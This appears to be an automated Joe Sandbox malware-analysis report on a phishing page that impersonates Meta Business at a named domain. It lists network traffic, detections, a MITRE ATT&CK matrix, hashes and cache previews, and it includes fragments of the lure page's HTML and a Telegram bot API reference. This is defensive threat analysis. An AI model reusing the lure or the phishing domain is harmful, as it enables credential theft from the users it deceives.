Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55810
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown

HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49741 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir1984_1279749843

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir1984_1279749843

Jump to behavior

Source: classification engine

Classification label: mal64.phis.win@21/41@19/8

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,8834077108357008396,4316533208401078595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2348 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2308,i,8834077108357008396,4316533208401078595,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2348 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	100%	Avira URL Cloud	malware

Source	Detection	Scanner	Label
https://metabussiness-helper-verify24h-now.abaytravel.com/styles/bootstrap.min.css	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/no_avatar.png	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/doc.png	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/loadingLogo.gif	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/block_2.png	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/fb_round_logo.png	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/handle/chongf12.js	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/banner_new_01.png	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/meta-logo-grey.png	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/img/save_img.png	100%	Avira URL Cloud	malware
https://metabussiness-helper-verify24h-now.abaytravel.com/styles/style.css	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
metabussiness-helper-verify24h-now.abaytravel.com	103.176.25.236	true	false	unknown
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
beacons-handoff.gcp.gvt2.com	142.250.180.99	true	false	high
www.google.com	142.250.181.228	true	false	high
ipv4.imgur.map.fastly.net	199.232.196.193	true	false	high
18.31.95.13.in-addr.arpa	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
i.imgur.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://metabussiness-helper-verify24h-now.abaytravel.com/styles/bootstrap.min.css	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/img/block_2.png	false	Avira URL Cloud: malware	unknown
https://i.imgur.com/FOY6xZ9.png	false		high
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js	false		high
https://beacons.gcp.gvt2.com/domainreliability/upload	false		high
https://metabussiness-helper-verify24h-now.abaytravel.com/img/loadingLogo.gif	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/img/no_avatar.png	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/img/doc.png	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/img/fb_round_logo.png	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/handle/chongf12.js	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/img/banner_new_01.png	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/img/save_img.png	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/img/meta-logo-grey.png	false	Avira URL Cloud: malware	unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php	true		unknown
https://metabussiness-helper-verify24h-now.abaytravel.com/styles/style.css	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://imgur.com/w3cNjri.jpeg	chromecache_77.3.dr	false	high
https://api.telegram.org/bot	chromecache_77.3.dr	false	high
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_69.3.dr	false	high
http://www.gimp.org/xmp/	chromecache_92.3.dr, chromecache_82.3.dr, chromecache_87.3.dr, chromecache_93.3.dr	false	high
https://stackpath.bootstrapcdn.com/bootstrap/5.1.3/js/bootstrap.bundle.min.js	chromecache_77.3.dr	false	high
https://getbootstrap.com/)	chromecache_69.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.105.94	unknown	United States	15169	GOOGLEUS	false
199.232.196.193	ipv4.imgur.map.fastly.net	United States	54113	FASTLYUS	false
216.58.206.36	unknown	United States	15169	GOOGLEUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
103.176.25.236	metabussiness-helper-verify24h-now.abaytravel.com	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637087
Start date and time:	2025-03-13 10:49:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@21/41@19/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.195, 142.250.185.174, 142.250.181.238, 108.177.15.84, 142.250.186.46, 142.251.40.238, 74.125.7.136, 142.250.185.170, 142.250.185.138, 216.58.206.74, 142.250.186.138, 142.250.184.202, 216.58.212.138, 142.250.186.170, 142.250.186.74, 216.58.212.170, 142.250.185.106, 142.250.185.74, 142.250.181.234, 172.217.16.138, 142.250.184.234, 216.58.206.42, 142.250.185.202, 142.250.184.227, 142.250.186.163, 23.60.203.209, 4.175.87.197, 13.95.31.18
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, clientservices.googleapis.com, r3---sn-hp57yns7.gvt1.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, r3.sn-hp57yns7.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (561)
Category:	downloaded
Size (bytes):	205617
Entropy (8bit):	4.763589842780635
Encrypted:	false
SSDEEP:	1536:XfnPT1pbCiFWWfZWn/zIEnXSEc6/rs9mfDF0pJ4OaW6F:XPCi4F0pJ4OaW6F
MD5:	2ED048A086C0F8BF7112F4008611BA46
SHA1:	580DCC9130AF74EDE5B9951BDA7DC1B8BBBAB96D
SHA-256:	346AA4E4CFB6593EF6932C5A866B4A46ABC52B11E25712E425A2EE7DAC81755F
SHA-512:	06BA396CD6F796342D0FDFDD0E54B130987AF83BEBF0E83441E5CE455842A16BC599EC626AE6055A240CD6C03EABE6A90C1489053064F20BA305AF908B3FA568
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/styles/bootstrap.min.css
Preview:	@charset "UTF-8";/!. Bootstrap v5.0.2 (https://getbootstrap.com/). * Copyright 2011-2021 The Bootstrap Authors. * Copyright 2011-2021 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.:root {. --bs-blue: #0d6efd;. --bs-indigo: #6610f2;. --bs-purple: #6f42c1;. --bs-pink: #d63384;. --bs-red: #dc3545;. --bs-orange: #fd7e14;. --bs-yellow: #ffc107;. --bs-green: #198754;. --bs-teal: #20c997;. --bs-cyan: #0dcaf0;. --bs-white: #fff;. --bs-gray: #6c757d;. --bs-gray-dark: #343a40;. --bs-primary: #0d6efd;. --bs-secondary: #6c757d;. --bs-success: #198754;. --bs-info: #0dcaf0;. --bs-warning: #ffc107;. --bs-danger: #dc3545;. --bs-light: #f8f9fa;. --bs-dark: #212529;. --bs-font-sans-serif: system-ui,-apple-system,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";. --bs-font-monospac

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	198020
Entropy (8bit):	7.954760611313072
Encrypted:	false
SSDEEP:	3072:XSMRYs/fpdHP2vNH4WRCAc1oe7GV7leZX6MyNCur9GXpqrR9ee:XjYQdehdEtoeK3a0l8UR
MD5:	FE979FEB97D4AC7D44BCD547BC23D9A2
SHA1:	87E59BE9FF35C90906E9C1C0E7021D11C8F62E1A
SHA-256:	F63CA8AAB55D8EEDFB62CEE0C1891C0355F118DF5FF22713B0F45E6ACFD5F8A6
SHA-512:	8086205CE677F65A25ECF8FBBC97B40A158AE56028EC37A8D92944DA76DEA341513C1637014D18D095A34E2351BAE220889D022E3B6F7B08BE15DEA568CB5FA2
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/banner_new_01.png
Preview:	.PNG........IHDR.......8.....g.V.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............IDATx...y......=..W.......&...6.cf$.j#$.W.W..Z+...7\|D8,.".....UX...v.V..Zk.#m.J...5.^.{H.........t.BU....../...&...(.....S..U.U..\|~.....cK.........j+k}............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4....

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	296
Entropy (8bit):	5.175191124800857
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoIRVm1JsHhWTPKBFm8oD:J0+oxBeRmR9etdzRxGezHLmDsBab8+
MD5:	27E18A25388BE20D8F7B0113BBF98AB3
SHA1:	D15411BB8C97DD507691B48D62883A5C7B338085
SHA-256:	7CAB7A9D304D98887466DD2F8029B7149F955FA0F7B5362BC839295678216499
SHA-512:	EAC3146BD6B2CF86FFD494F54BBD9AC5FF798447972679FB0B5FF0BEA14BD13D40451FBB74EB4EFE627369272A8132B854CFF594D16601C34D8524FEDA2A72B8
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/handle/chongf12.js
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache Server at metabussiness-helper-verify24h-now.abaytravel.com Port 443</address>.</body></html>.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1920 x 1080
Category:	dropped
Size (bytes):	1258265
Entropy (8bit):	7.972209618473546
Encrypted:	false
SSDEEP:	24576:P62FyvkoNoDlbiySCeSAS0J6IM0i+AD1gmgzo37QmgXHnaEcBw:l7oUF5IS0GJxBbg3nOw
MD5:	5E42AE90E7CEE7FB241D5DCDA23F924A
SHA1:	D9985AB12381EB8232B690702991F286ACCF2CAA
SHA-256:	C296B7A52BB832AE0BDB761D86989CE156C5CFF905215C534C34D76F0474CA2C
SHA-512:	EC970CC1B06920794EA93A5059DC843D82ADE4573C8A87760483A13BAD6658CBFE8CDB01C9A214A1C7E9382D9C5028852017842927AAC2D1011A4139DBA8456E
Malicious:	false
Reputation:	low
Preview:	GIF89a..8.....E.P.o.3..........R.&w..jlDOU..2..J.F.....I......J..Lm.........."3D..N(w....n..n.&..4DG..W....3.....KnP..P...N...I...2Ufg...I....H.OUbM..w..ng...,..Sk..S..q.m... ..kP...N.....H...........y.......O.Mp.g...,Ew.t...pI....o.,.....3..U.....f..j..n.N....r.T.........J..K$.U.nk...u..}.<xj.LR.JN.y....ns.f..j....i...+0oQ.m.{...UU..r.Q.i*.P$.........oKi......i....Q..Sh...>m.-0.EO.....e....o.hm.......K...w....U..JEi.....v..+f.A.."U.D..."3.,..%P.^.s.T.fw........w..f.....w..w.+........""3.f.....Q....w...3".f......"33fwww......................"""w.....ww.....w......wwwffw.f......3.wfff....f..!!.........33@....w..f.3.f......7.f....w.8.wxw.fw.".f.........".w...f..".wc.....f..3......"D...3M....f.......UU.......f........}........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	92
Entropy (8bit):	4.8949500656028055
Encrypted:	false
SSDEEP:	3:xPVcCnlI/iuSmSjiCk+iuLWEQekBthR42YY:xPxlhPNhf9ezfYY
MD5:	8949E1ACC20D010B5CFD6FE50143EE2E
SHA1:	72B11820EFA2175536E36DF279E2E31C62DF3733
SHA-256:	D0ACEA33B0A5F69C21E95A0FF6D291A2BEB48FAF814A9FC51E48032B44E4AC3A
SHA-512:	4BACB9966F8AAE25B8E4864199DA7C00DD1661FDD5736EC114D8603E5090AC3A770655B394D345D3AC01BD579CCE210CE93161FA46F15CB92034FE794A0EC8C1
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhI8CaHgaKhjPM7qEgUNHVbhFxIFDdYE7rESBQ1nx2SZEgUNIhiehRIFDarpzOoSBQ0Ysa5IISlTP4Yx2DApEhkJacgORfMkO08SBQ3OQUx6IQUkIC9Oaawk?alt=proto
Preview:	CjYKBw0dVuEXGgAKBw3WBO6xGgAKBw1nx2SZGgAKBw0iGJ6FGgAKBw2q6czqGgAKBw0Ysa5IGgAKCQoHDc5BTHoaAA==

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6043
Entropy (8bit):	7.939355751318444
Encrypted:	false
SSDEEP:	96:s7xaydiMkBvGfzBKIFuC/bG6UAlQloqPZ6UtCjcphNixjT0vtK9E0NJGNKIX3D7b:s7xxr3oFloqPHtCQViV0vMVUj3D71rrx
MD5:	D5D30F28CA92743610C956684A424B7E
SHA1:	FD4A7207B724254D981A4ED4C7F675FD87868535
SHA-256:	4B842E25C6BE485FD7F06B745AC91DB2B6E9EEE778C5442B157BE78D51F83563
SHA-512:	7D0A522805B0A34B33F48791BBBFDFC361B9D91EE9D5843D67E8E1A774F9D8DAD42C7D0EFA429738A0680FCB8D71DACC4B47E22F1DAA8CE718DBF36E6DB35328
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/no_avatar.png
Preview:	.PNG........IHDR.............\r.f....bKGD.............PIDATx...p].u......h.R..2.P.P6C.`7,!m&.N..N.L.M.M'@gZ....().4...b.e.Z,..Y..la..nU(.XR...f3...H...zzz....wf~c..z..s....s.X.A.........y..3...q......i....'..a..-[...'..?...].u..<...6l........a.)...O.c..~......H..G..n.w.w.6.........../...<.'. .8...l{.....m....<_^....../...:.'. id..'..o6...r......S..w..O...._..d9.D.x1D..{..........$.........e..bo.>.....K>^$].. ......N.],v....xP\..!.{..m6'..{.g._'r.s....s...H..}..u......7".Y.[V;qD..;...J..%_.x.2..d\|...8c.. ....,.qU.$6Qy.....;-W`.X.dRo?9..e`.8Y`....*J...Kl.).....d.6n.x...d..z....Quh.C.Y,....JT..8!.6.O.#@....'.{..].y...D]l.E.6.].#r.`....D4....."..yl...xEDD}...b....H...-..tvv...}.x...4]..........!...p.m..9....[.}....w.z.(.b.s...0d...r..5.............x...K&.z0Zp.>..Xn.....?#1i.c.7..%..3I\..:...1.}..O.y.....3.a..........-...Ch....\|(...._..\.#.?......8.9.7....V...............A+@.S.q.[...~G.`T}.g..&.n#......?...x.."e~.Q].@v.v/..[..!A.y[

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7550
Entropy (8bit):	7.960579777190278
Encrypted:	false
SSDEEP:	192:ri4sn8ZlCLFUm5Dk3CqDEkV8YaTETosC1nEDuO0f+htV:rfsn4CBnKCqYkaUoseEDuO0C7
MD5:	8D3BCD1278891FC1E52D38E72549B3D0
SHA1:	AF1AB86B5A3993C468C3BE9C59A8ED3D9091454D
SHA-256:	8FC3F44A189200B47C93A90AD8DFFE40FCDEDA8A718E62BB4BAF98F00D536E97
SHA-512:	E8C73AB69E70BDCA02C1C7004947186455C632692311B4CA91D1BEA143CE7F0B986DC0B0623B8AE82F9561549337171B3E89A55F7BCD92964FE214DDAB1C4FEB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...x...x.............PLTE.......................W............M.............................\|k~`P..{.........mWN'.7..>..U.._9&...H .-..C..lI4...$..J#...T..E........uK.G.V5....{..T.gB.s.w.s.u.q.n....h........`........u...>...A.................:..e..F.......B..............._.....`...............{......o................................................d........5.............................A.................x..u....y..p..............`..s...................n.......i....e..N...................x........\|....k.......Y....T...........F./......m.p..J..N...@....i..........f......[.....u...........z..Q..............u......<.....f.......j....I.....^.........+.......tRNS...........#.q....(IDATx^..E.#W.......^........<.a...^[..Y..LZ.r\^y........$YY.~...>........o............f.t.g.3.Q.......V.......lSt..s..rp..4...7K;..d6)._.6r......voS.2T.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1880)
Category:	downloaded
Size (bytes):	59717
Entropy (8bit):	4.467338369466638
Encrypted:	false
SSDEEP:	768:aUlMlj6+ElMTDD7p0yGisoalqghc2WkvVjk5qhJ+EP1g5E:boX3alqghXWkvV4Ez+EP1gO
MD5:	24AEDFBB26D1F9C1FD22A1E86ECF819F
SHA1:	2C0E293E30D43BDB1F1DBAEEDDA3609E0EC2172A
SHA-256:	A1C0D85918DBC4BD40DCE3799DBAB13EAD3A1541DC64FE53503690E2F5AD12B8
SHA-512:	27CDFB162961ECBA73686354DFB55843FBFD7A404717D9F620816D087781F34DD04731D6351A3952ED6C3B150F7D13C8FF018E79ACB2487C40AA6DCFAE6A3229
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/meta-community-standard.php
Preview:	.<!DOCTYPE html>.<html lang="us" id="html">..<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <meta property="og:image" content="https://imgur.com/w3cNjri.jpeg">. <title>We have scheduled your marketplace to be deleted.</title>. <link rel="stylesheet" href="/styles/bootstrap.min.css">. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>. <link rel="stylesheet" href="/styles/style.css">. <link rel="shortcut icon" href="https://i.imgur.com/FOY6xZ9.png" type="image/x-icon">. .</head>..<body>...<style>. #intro {. position: fixed;. top: 0;. left: 0;. width: 100%;. height: 100%;. background: #fff;. display: flex;. justify-content: center;. align-items: center;. color: #fff;. font-size: 2rem;. z-index: 9999;. }. #meta-logo {.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1920 x 1080
Category:	downloaded
Size (bytes):	1258265
Entropy (8bit):	7.972209618473546
Encrypted:	false
SSDEEP:	24576:P62FyvkoNoDlbiySCeSAS0J6IM0i+AD1gmgzo37QmgXHnaEcBw:l7oUF5IS0GJxBbg3nOw
MD5:	5E42AE90E7CEE7FB241D5DCDA23F924A
SHA1:	D9985AB12381EB8232B690702991F286ACCF2CAA
SHA-256:	C296B7A52BB832AE0BDB761D86989CE156C5CFF905215C534C34D76F0474CA2C
SHA-512:	EC970CC1B06920794EA93A5059DC843D82ADE4573C8A87760483A13BAD6658CBFE8CDB01C9A214A1C7E9382D9C5028852017842927AAC2D1011A4139DBA8456E
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/loadingLogo.gif
